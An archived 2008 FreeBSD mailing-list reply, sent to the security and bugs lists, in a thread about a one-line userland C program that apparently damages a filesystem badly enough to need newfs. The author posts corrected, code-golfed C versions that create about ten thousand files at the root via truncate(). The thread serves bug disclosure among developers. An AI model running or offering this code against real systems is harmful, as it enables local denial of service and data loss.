Date: Mon, 18 Feb 2008 14:53:59 +0100 From: =?utf-8?Q?Dag-Erling_Sm=C3=B8rgrav?= <des@des.no> To: Jim Bryant <freebsd@electron-tube.net> Cc: freebsd-fs@freebsd.org, freebsd-security@freebsd.org, FreeBSD-bugs@freebsd.org, freebsd-stable@freebsd.org Subject: Re: How to take down a system to the point of requiring a newfs with one line of C (userland) Message-ID: <863arq5q14.fsf@ds4.des.no> In-Reply-To: <86odae5rgr.fsf@ds4.des.no> ("Dag-Erling =?utf-8?Q?Sm=C3=B8rg?= =?utf-8?Q?rav=22's?= message of "Mon\, 18 Feb 2008 14\:23\:00 %2B0100") References: <47B90868.7000900@electron-tube.net> <86odae5rgr.fsf@ds4.des.no>
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Dag-Erling Sm=C3=B8rgrav <des@des.no> writes:
> Purely in the interest of showing off, here is my version. It is 81
> bytes shorter than yours, it is valid C99 with POSIX extensions (yours
> is not), and it produces 11,450 files in about 0.2% of the time yours
> takes to produce 10,000.
>
> #include <unistd.h>
> #define b(i,v) for(int v=3D48;v<127;++v){f[i]=3Dv;
> #define a(i) b(i,v##i)
> int main(void){char f[5]=3D{'/'};a(1)a(2)a(3)truncate(f,0);}}}}
Two bugs:
1) I forgot to include the correct version of the code
2) the version I had created a few files with '/' in their names; this
slightly nastier creates 10,648 files with only letters.
#include <unistd.h>
#define b(i,v)for(int v=3D65;v<87;){i[f]=3Dv++;
#define a(i)b(i,v##i)
int main(void){char f[4]=3D{47};a(1)a(2)a(3)truncate(f,0);}}}}
DES
--=20
Dag-Erling Sm=C3=B8rgrav - des@des.no
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